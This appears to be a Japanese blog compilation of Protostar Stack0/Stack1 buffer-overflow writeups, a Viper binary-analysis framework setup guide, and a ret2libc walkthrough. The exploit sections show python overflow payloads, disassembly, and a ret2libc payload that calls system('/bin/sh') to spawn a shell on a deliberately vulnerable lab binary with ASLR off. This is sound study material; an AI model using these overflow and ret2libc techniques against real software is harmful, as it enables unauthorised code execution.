protostar stack 1 writeup
## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack1を解いたので、そのwriteupを書いていく
### Stack 1
ソースコードはこんな感じ
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; if(argc == 1) { errx(1, "please specify an argument\n"); } modified = 0; strcpy(buffer, argv[1]); if(modified == 0x61626364) { printf("you have correctly got the variable to the right value\n"); } else { printf("Try again, you got 0x%08x\n", modified); } }
動作は以下のとおり.
$ ./stack1 AAAA Try again, you got 0x00000000
今回も同じように脆弱性を利用し「you have correctly got the variable to the right value」を出力させてみる.
しかし脆弱性自体はStack0と同じもので64バイトより大きな値を入力してmodifiedの値を書き換え本来到達しない分岐へ飛ばすだけである.
分岐の条件を見てみるとmodifiedの値が0x61626364であればいいようだ.
というわけで64バイトより後に"\x61\x62\x63\x64"をくっつければうまくいくだろう, と思うかもしれないがそうはそうは問屋が卸さない.
メモリ空間上では値を『リトルエンディアン』と呼ばれる方式で管理しており, 高位のアドレスに格納されている値が先に認識される.
うまく説明できる気がしないが
0x61626364
という値はリトルエンディアンでは
"\x64\x63\x62\x61"
というように管理している.
つまり64バイトより後ろにただ"\x61\x62\x63\x64"とつけただけでは0x64636261と解釈されてしまう.
そういうわけで今回のは64バイト以降に"\x64\x63\x62\x61"と付けて分岐を突破してみる.
$ ./stack1 $(python -c 'print "A"*64 + "\x61\x62\x62\x64"') Try again, you got 0x64626261 $ ./stack1 $(python -c 'print "A"*64 + "\x64\x63\x62\x61"') you have correctly got the variable to the right value
リトルエンディアンを意識して入力すると成功する.
Stack1 おわり
protostar stack 0 writeup
## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack0を解いたので、そのwriteupを書いていく
### Stack 0
ソースコードはこんな感じ
#include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } }
動作は以下のとおり.
$ ./stack0 AAAA Try again?
ソースコードを見るとchar型の配列であるbufferへ値を入れているが入力値の大きさをチェックしていないためバッファオーバーフロー脆弱性が存在する.
ここではその脆弱性を利用し「you have changed the 'modified' variable」を出力させてみる.
まずはバイナリのmain関数内でどのような処理を行っているか見てみる.
$ objdump -d ./stack0 | grep main\>\: -A19 080483f4 <main>: 80483f4: 55 push ebp 80483f5: 89 e5 mov ebp,esp 80483f7: 83 e4 f0 and esp,0xfffffff0 80483fa: 83 ec 60 sub esp,0x60 80483fd: c7 44 24 5c 00 00 00 mov DWORD PTR [esp+0x5c],0x0 8048404: 00 8048405: 8d 44 24 1c lea eax,[esp+0x1c] 8048409: 89 04 24 mov DWORD PTR [esp],eax 804840c: e8 fb fe ff ff call 804830c <gets@plt> 8048411: 8b 44 24 5c mov eax,DWORD PTR [esp+0x5c] 8048415: 85 c0 test eax,eax 8048417: 74 0e je 8048427 <main+0x33> 8048419: c7 04 24 00 85 04 08 mov DWORD PTR [esp],0x8048500 8048420: e8 07 ff ff ff call 804832c <puts@plt> 8048425: eb 0c jmp 8048433 <main+0x3f> 8048427: c7 04 24 29 85 04 08 mov DWORD PTR [esp],0x8048529 804842e: e8 f9 fe ff ff call 804832c <puts@plt> 8048433: c9 leave 8048434: c3 ret ||< 流れとしてはスタックを確保後, 分岐の条件として使われる[esp+0x5c](modified)に0を代入. 次にesp+0x1c(buffer)に対しgetsで値を入力し[esp+0x5c](modified)の値が0であれば0x8048427に飛んで「Try again?」と出力. そうでなければ(modifiedの値が書き換わっていれば)「you have changed the 'modified' variable」と出力する. modifiedとbufferの差は 0x5c-0x1c=0x4c, これを10進数に直すと64バイトである. このことからバッファオーバーフロー脆弱性を利用しbufferに64バイトよりも大きな値を入れるとmodifiedとされているメモリ領域の値を変えることができると考えられる. 実際に入力してみる. >|bash| $ python -c 'print "A"*64' | ./stack0 Try again? $ python -c 'print "A"*65' | ./stack0 you have changed the 'modified' variable
64バイトよりも大きな値を入力したことでmodifiedの値が0から書き換えられ本来なら到達しない分岐ルートに飛んでいることが確認できる.
Stack0 おわり
Viperを利用したバイナリ解析
概要
今回はバイナリ解析フレームワークのViperについて書いていく
Viperとは
Viper(http://viper.li)とはバイナリ解析フレームワークのこと。
バイナリ解析機能の他に解析したバイナリとその情報を管理する機能を持っている。
主にマルウェアやエクスプロイトの解析を目的に作られており、それらを円滑に行えるよう様々な機能が用意されている。
インストール
環境は以下のとおりである。
$ uname -s -r -p -v Linux 3.19.0-59-generic #66~14.04.1-Ubuntu SMP Fri May 13 17:27:10 UTC 2016 x86_64
Viperのインストールドキュメントはここ(http://viper-framework.readthedocs.io/en/latest/installation/index.html)にある。
インストールにあたって必要なソフトウェアをあらかじめインストールしておく。
$ sudo apt-get install gcc python-dev python-pip
次にpipを使って必要なものをインストールする。
$ sudo pip install SQLAlchemy PrettyTable python-magic
加えてssdeepとpydeepをインストールする。
ssdeepとはファジーハッシュを利用するためのプログラムである。
ファジーハッシュについては(http://www.ffri.jp/assets/files/monthly_research/MR201403_Consideration_and_evaluation_of_using_fuzzy_hashing_JPN.pdf) (pdf直リンク注意)を参照。
pydeepはpythonからssdeepを利用するためのライブラリである。
ダウンロードリンクは(http://ssdeep.sourceforge.net/#download)
ダウンロードしたディレクトリに移動した後に下記コマンドを入力。
$ tar -zxvf ssdeep-X.XX.tar.gz $ cd ssdeep-X.XX $ ./configure && make $ sudo make install $ sudo pip install pydeep
次にTorを利用した通信を行うバイナリの解析を行うためにライブラリをインストールする。
$ sudo apt-get install python-socksipy
次にViper本体のインストールに入る。
と言ってもgitからcloneして依存関係を解決するだけである。
$ git clone https://github.com/viper-framework/viper $ sudo pip install -r requirements.txt
これでインストールは完了だ。
使い方
Viperはプロジェクト単位でバイナリを管理することができる。
プロジェクトは下記コマンドで作ることができる。
$ ./viper-cli -p test
まずは適当なファイルを解析対象としてViperに認識させる。
test viper > open -f ./a.out [*] Session opened on ./a.out test viper a.out [not stored] >
これらのファイルはセッションという形で管理されている。
test viper a.out [not stored] > sessions --list [*] Opened Sessions: +---+-------+----------------------------------+---------------------+---------+ | # | Name | MD5 | Created At | Current | +---+-------+----------------------------------+---------------------+---------+ | 1 | a.out | bdf422ad25a052fb661107bd6f7ff77d | 2016-06-03 20:55:30 | Yes | +---+-------+----------------------------------+---------------------+---------+
この状態でstoreコマンドを入力するとセッションで開いているファイルをプロジェクトに登録される。
yaraによるスキャンを自動的にしてくれているようだ。
helpコマンドで見た感じ、プロジェクトやセッションの管理と言った動作の命令はコマンドと呼ばれ、解析はモジュールで行っているようだ。
モジュールで解析とは言ってもモジュール名をコマンドのように入力すればいい。
プロジェクトに登録したら各種モジュールで解析していく。
以降はいくつかのモジュールを紹介する。
- apkモジュール
Androidのアプリケーションを解析するモジュール。
AndroGuard(https://github.com/androguard/androguard/archive/v2.0.tar.gz) をインストールしないと動かないようだ。
- clamavモジュール
ローカル環境のclamavで解析するモジュール。
'pyclamd'をpipでインストールしないと動かないようだ。
- cuckooモジュール
cuckooサンドボックスと連携するモジュール。
- elfモジュール
elfファイルを解析するモジュール。
セクション情報やシンボル情報といった要素を調べられる。
エントロピー欄が何を表しているかはわからなかった。
- r2モジュール
radare2と連携するモジュール。
便利そう。
- shellcodeモジュール
シェルコードを抜き出すモジュールらしい。
動作未検証
これらの他にもpeファイルやjarファイル、画像ファイルやofficeドキュメントを解析するモジュールがある。
IDA proやradare2といったツールやvirustotalといったサービスと連携するモジュールも用意されており解析の基盤として使えるかもしれない。
あとから自分でモジュールを作って追加できることも強みだろう。
ret2libcをやってみる
ret2pltで関数を実行してみる - メモ代わりでret2pltを使って遊んでみた。
printfでメモリをリークさせるみたいになったのでCTFで出てこないわけでもなさそうだが、どうせならシェルを開きたいものである。
というわけで今回はret2libcでシェルを起動してみる。
ret2libcとは
ret2pltではpltに存在しない関数を呼び出すことはできない。
そこで考えだされたのがlibcにある関数を呼び出す方法『ret2libc』だ。
実行時にlibcが動的にリンクされるのでASLRの影響を受けてしまうが今回は前回、前々回同様にASLRはOFFにしているのでうまくいくだろう。
実際にシェルを開くところまでやってみよう。
必要な情報を集める
ret2libcも呼び出し先がpltからlibcに変わっただけで要領はあまり変わらない。
まずはgdbで開いてstartコマンドを使ってmainの先頭まで走らせよう。
gdb-peda$ start
次にsystem関数がどこにあるか探さなければならないが、これは下記のコマンドで出力できる。
gdb-peda$ p system $1 = {<text variable, no debug info>} 0xf7e4a190 <system>
systemありますねぇ!
ついでにこのsystemがどこにあるか見てみよう。
vmmapコマンドでメモリのレイアウトがわかるので使ってみる。
gdb-peda$ vmmap Start End Perm Name 0x08048000 0x08049000 r-xp /tmp/a.out 0x08049000 0x0804a000 r--p /tmp/a.out 0x0804a000 0x0804b000 rw-p /tmp/a.out 0xf7e09000 0xf7e0a000 rw-p mapped 0xf7e0a000 0xf7fb2000 r-xp /lib/i386-linux-gnu/libc-2.19.so 0xf7fb2000 0xf7fb4000 r--p /lib/i386-linux-gnu/libc-2.19.so 0xf7fb4000 0xf7fb5000 rw-p /lib/i386-linux-gnu/libc-2.19.so 0xf7fb5000 0xf7fb8000 rw-p mapped 0xf7fd6000 0xf7fd8000 rw-p mapped 0xf7fd8000 0xf7fda000 r--p [vvar] 0xf7fda000 0xf7fdc000 r-xp [vdso] 0xf7fdc000 0xf7ffc000 r-xp /lib/i386-linux-gnu/ld-2.19.so 0xf7ffc000 0xf7ffd000 r--p /lib/i386-linux-gnu/ld-2.19.so 0xf7ffd000 0xf7ffe000 rw-p /lib/i386-linux-gnu/ld-2.19.so 0xfffdd000 0xffffe000 rw-p [stack]
これを見ればsystem関数のアドレスである"0xf7e4a190"は"/lib/i386-linux-gnu/libc-2.19.so"にありlibcを読んでいることがハッキリわかるはずだ。
次にsystem関数の引数を探したい。
とりあえずシェルを開ければいいのでそれっぽい文字列を探してみる。
gdb-peda$ find /bin/sh Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc : 0xf7f6aa24 ("/bin/sh")
ありました。
ここまでのおさらいをすると
- 22文字以降の文字列がEIPにセットされる
- system関数のアドレスは"0xf7e4a190"
- "/bin/shの文字列"は"0xf7f6aa24"にある
では実行してみよう。
実行してみる
実際のコードはこちら
print "A"*22 + "\x90\xa1\xe4\xf7" + "BBBB" + "\x24\xaa\xf6\xf7"
ほぼpltの時と一緒だね。
実行してみる。
$ ./a.out $(python -c 'print "A"*22 + "\x90\xa1\xe4\xf7" + "BBBB" + "\x24\xaa\xf6\xf7"') AAAAAAAAAAAAAAAAAAAAAA����BBBB$�� $
シェルが起動した、やったぜ。
おわりに
ret2pltとあまり変わらないけどシェルを呼べて素晴らしいと思った。